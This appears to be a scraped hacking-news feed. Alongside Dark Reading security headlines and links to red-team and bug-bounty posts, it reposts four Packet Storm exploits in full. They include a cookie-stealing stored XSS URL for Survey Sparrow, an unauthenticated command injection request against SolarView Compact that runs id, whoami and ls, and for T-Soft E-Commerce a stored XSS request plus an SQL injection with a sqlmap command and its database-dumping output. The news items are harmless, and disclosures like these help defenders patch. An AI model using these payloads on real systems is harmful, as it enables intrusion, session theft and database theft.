Dark Reading: Attacks/Breaches
Google Cloud Aims to Share Its Vetted Open Source Ecosystem

The online giant analyzes, patches, and maintains its own versions of open source software, and now the company plans to give others access to its libraries and components as a subscription.

Dark Reading: Attacks/Breaches
Qualys Adds Custom Assessment and Remediation to Its Cloud Platform

Provides security architects with access to custom scripts that can be natively integrated with other Qualys solutions.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Barracuda Expands Cloud-Native SASE Platform to Protect Hybrid Cloud Deployments

Expansion includes new capabilities for hybrid deployment models and industrial Internet of things (IIoT) environments.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Local Government's Guide to Minimizing the Risk of a Cyberattack

Most local leaders lack cybersecurity resources so they don't know where their weaknesses are and which areas threat actors are most likely to target, with little focus or understanding of risk.

Nighthawk 0.2 - Catch Us If you Can - @MDSecLabs
https://www.reddit.com/r/redteamsec/comments/urr1gj/nighthawk_02_catch_us_if_you_can_mdseclabs/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://www.mdsec.co.uk/2022/05/nighthawk-0-2-catch-us-if-you-can/) [comments] (https://www.reddit.com/r/redteamsec/comments/urr1gj/nighthawk_02_catch_us_if_you_can_mdseclabs/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
IAT-Hooking Bypass

https://cdn-images-1.medium.com/max/930/1*IC3Frg-GN4gZTH9q71MadA.png
Hello guys welcome to my first Blogpost. I recently started learning about the concept of IAT-Hooking and I got an idea on how to bypass…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Want to learn Account Takeover? I got you
https://faiyazhacks.medium.com/want-to-learn-account-takeover-i-got-you-971797521530?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

IntroductionContinue reading on Medium » (https://faiyazhacks.medium.com/want-to-learn-account-takeover-i-got-you-971797521530?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Survey Sparrow Enterprise Survey Software 2022 Cross Site Scripting

https://1.bp.blogspot.com/-9u0QXe9ybeo/WWlvU_DnejI/AAAAAAAAIN0/BUl-HrIsuwE3sKywG67Nuv_wLRABID6oQCLcBGAs/s1600/h45.png
Survey Sparrow Enterprise Survey Software 2022 suffers from a persistent cross site scripting vulnerability.

SHA-256 | afd7b7d6dc71690c8e9b74e168637e22184d16b38d583b0e4f0fc7f27fe83aad

Download
# Exploit Title: Survey Sparrow Enterprise Survey Software 2022 - Stored Cross-Site Scripting (XSS)
# Date: May 11 2022
# Exploit Author: Pankaj Kumar Thakur
# Vendor Homepage: https://surveysparrow.com/
# Software Link: https://surveysparrow.com/enterprise-survey-software/
# Version: 2022
# Tested on: Windows
# CVE : CVE-2022-29727
# References:
https://www.tenable.com/cve/CVE-2022-29727
https://github.com/haxpunk1337/Enterprise-Survey-Software/blob/main/Enterprise-Survey-Software%202022

#POC

For Stored XSS

Visit
https://LOCALHOST/login?test=Javascript%26colon;%252F%252F%E2%80%A9confirm?.(document.cookie)//

XSS Executed


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SolarView Compact 6.0 Command Injection

https://4.bp.blogspot.com/-xWCWgAV3Ny0/WWlvBhL9TTI/AAAAAAAAIKY/j6Iuv-WtlEAbM80hi5qIKa1OI4pChiwSgCLcBGAs/s1600/h124.png
SolarView Compact version 6.0 suffers from a command injection vulnerability.

SHA-256 | 893deed2e4181f38ba09efbd6381b56f6ca00311c05547810779183d11af7196

Download
# Exploit Title: SolarView Compact 6.0 - OS Command Injection
# Date: 2022-05-15
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: ver.6.00
# Vendor home page : https://www.contec.com/
# Authentication Required: No
# CVE : CVE-2022-29303
# Tested on: Windows

# Exploit
# HTTP Request :
POST /conf_mail.php HTTP/1.1
Host: HOST_IP
Content-Length: 77
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://HOST_IP
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://HOST_IP/conf_mail.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

mail_address=%3Bid%3Bwhoami%3Bpwd%3Bls%3B&button=%83%81%81%5B%83%8B%91%97%90M


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
T-Soft E-Commerce 4 Cross Site Scripting

https://4.bp.blogspot.com/-mbNmyGHywr4/WWlve-suujI/AAAAAAAAIP4/9elXOC6IHOcW_3VzQDLCix2bjP9zh38ZgCLcBGAs/s1600/h83.png
T-Soft E-Commerce version 4 suffers from a persistent cross site scripting vulnerability.

SHA-256 | a38f9872c25051fb5d40689975a5a643292512cac28208caeaa677228ed3e251

Download
# Exploit Title: T-Soft E-Commerce 4 - 'UrunAdi' Stored Cross-Site Scripting (XSS)
# Exploit Author: Alperen Ergel (alpernae IG/TW)
# Web Site: https://alperenae.gitbook.io/
# Software Homepage: https://www.tsoft.com.tr/
# Version : v4
# Tested on: Kali Linux
# Category: WebApp
# Google Dork: N/A
# Date: 2022-05-10
# CVE :N/A

######## Description ########
#
# 1-) Login administrator page and add product
#
# 2-) add product name to xss payload
#
# 3-) Back to web site then will be work payload
#
#
######## Proof of Concept ########

========>>> REQUEST

POST /Y/Moduller/_Urun/Ekle/Action.php HTTP/1.1
Host: domain.com
Cookie: lang=tr; v4=on; nocache=1; TSOFT_USER=xxxx@xxx.com; customDashboardMapping=true; PHPSESSID=18d05ae557640c93fd9739e241850438; rest1SupportUser=0; nocache=1; last_products=12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1028
Origin: https://domain.com
Dnt: 1
Referer: https://domain.com/srv/admin/products/save-edit/index?id=12
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

task=UPDATE&Kategori=18&UrunId=12&UrunAdi={PAYLOAD}&MarkaId=0&MarkaAd=&ModelId=0&ModelAd=&Tedarikci=0&TedarikciKodu=12&StokSayisi=100
&StokBirimId=1&StokBirimAd=Adet&EnYeniUrun=0&EnCokSatilan=0&AramaKelimeleri=&HamSatis=200&AlisFiyat=100&HavaleYuzde=0&Birim=0
&KDV=18&KdvGoster=false&point_catalog=false&IndirimliUrun=true&AltUrunVar=false&YeniUrun=true&AnaSayfaUrun=true&VitrinUrun=false
&Gorunme=true&BayiUrun=false&SiparisNotuGoster=false&En=0&Boy=0&Derinlik=0&Agirlik=0&Desi=1&GarantiBilgisi=
&TeslimatBilgisi=&UrunNot=&WsUrunKodu=T12&SeoAyar=3&SeoTitle=&SeoLink=deneme-urun-1&SeoDesc=&SeoKeyw=
&Detay=%C3%9Cr%C3%BCn%20ekleme%20konusunda%20detayl%C4%B1%20bilgi%20i%C3%A7in%2C%20videomuzu%20
izleyebilirsiniz%3A%C2%A0%0A%3Cdiv%3E%3Ca%20href%3D%22https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DoWlUHvi4IPw%22%3Ehttps%3A%2F%2Fwww.youtube.com%
2Fwatch%3Fv%3DoWlUHvi4IPw%3C%2Fa%3E%3C%2Fdiv%3E&AnaKategoriId=18&point=0&subscribe=0&subscribe_frequency=&subscribe_discount_rate=0
&UruneKargoUcretsiz=0&UyeUcretsizKargo=0&BayiUcretsizKargo=0&Sayisal1=0


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
T-Soft E-Commerce 4 SQL Injection

https://2.bp.blogspot.com/-7dI_F0yeiSk/WWlvAqxVj9I/AAAAAAAAIKQ/m4aOGdGGTmo7o3qANzxUijwjE_G1NHOSQCLcBGAs/s1600/h123.png T-Soft E-Commerce version 4 suffers from a remote SQL injection vulnerability.

SHA-256 | 45b5224650ea3cb883a0c405f3c4d76eef8cc2dbc8f3fb98282c4ea633d2e202Download # Exploit Title: T-Soft E-Commerce 4 - SQLi (Authenticated)
# Exploit Author: Alperen Ergel
# Contact: @alpernae (IG/TW)
# Software Homepage: https://www.tsoft.com.tr/
# Version : v4
# Tested on: Kali Linux
# Category: WebApp
# Google Dork: N/A
# CVE: 2022-28132
# Date: 18.02.2022
######## Description ###########################################
#
#
#
# Step-1: Login as Admin or with privilage user
# Step-2: Open burp or zap and request the {PoC REQUEST PATH} vulnerable path
# Step-3: Capture the request save as .txt
# Step-4: Run SQLMAP with this command 'sqlmap -r {req.txt} --dbs --level 5 --risk 3 --tamper=space2comment' --random-agent'
# Step-5: Now you're be able to see the dbs for more search 'how to use sqlmap advance'
#
# Impact: Attacker can see the what have in database and it's big impact and attacker can stole datas...
#
#
#
######## Proof of Concept ########################################

========>>> REQUEST

GET /Y/Moduller/_Urun/Json.php?_dc=1646232925144&sort=kayittarihi&dir=DESC&AramaKelimesi=&AramaKriteri=UrunAdi&SatisAlt=&SatisUst=
&marka=&model=&tedarikci=&AlisAlt=&AlisUst=&KdvAlt=&KdvUst=&StokAlt=&StokUst=&birim=&extra=&kategori=&Kategori=&gor=0&ind=0¥i=0&karsila=0&ana=0&grup=&firsat=0&mercek=0&kdvGoster=0&filtre=0&video=0&xml_not_update_price=0&xml_not_update_stock=0&multi_category_sort=0&simge=&desiAlt=&desiUst=&agirlikAlt=&agirlikUst=&stokBirim=&FirsatBaslamaTarihiBas=&FirsatBaslamaTarihiSon=&FirsatBitisTarihiBas=&FirsatBitisTarihiSon=&UrunEklemeTarihiBas=&UrunEklemeTarihiSon=&havaleAlt=&havaleUst=&page=1&start=0&limit=20 HTTP/2
Host: domain.com
Cookie: lang=tr; v4=on; nocache=1; TSOFT_USER=xxx@xx.com; customDashboardMapping=true; countryCode=TR; rest1SupportUser=0; nocache=1; yayinlanmaDurumuPopup=1; yayinlanmaDurumuPopupTimeout=864000; PHPSESSID=fcfa85a5603de7b64bc08eaf68bc51ca; U_TYPE_CK=131; U_TYPE_OK=c16a5320fa475530d9583c34fd356ef5; TSOFT_LOGGED=7d025a34d0526c8896d713159b0d1ffe; email=; phone=; password=
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="98"
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://domain.com/srv/admin/products/products-v2/index
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

=============> RESULTS OF THE SQLMAP

Parameter: SatisAlt (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: _dc=1646232925144&sort=kayittarihi&dir=DESC&AramaKelimesi=&AramaKriteri=UrunAdi&SatisAlt=' AND 1331=1331 AND 'RcAU'='RcAU&SatisUst=&marka=&model=&tedarikci=&AlisAlt=&AlisUst=&KdvAlt=&KdvUst=&StokAlt=&StokUst=&birim=&extra=&kategori=&Kategori=&gor=0&ind=0¥i=0&karsila=0&ana=0&grup=&firsat=0&mercek=0&kdvGoster=0&filtre=0&video=0&xml_not_update_price=0&xml_not_update_stock=0&multi_category_sort=0&simge=&desiAlt=&desiUst=&agirlikAlt=&agirlikUst=&stokBirim=&FirsatBaslamaTarihiBas=&FirsatBaslamaTarihiSon=&FirsatBitisTarihiBas=&FirsatBitisTarihiSon=&UrunEklemeTarihiBas=&UrunEklemeTarihiSon=&havaleAlt=&havaleUst=&page=1&start=0&limit=20
---
back-end DBMS: MySQL 5
available databases [2]:
[*] d25082_db
[*] information_schema

[13:05:31] [INFO] GET parameter 'SatisAlt' appears to be 'SQLite > 2.0 OR time-based blind (heavy query)' injectable Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video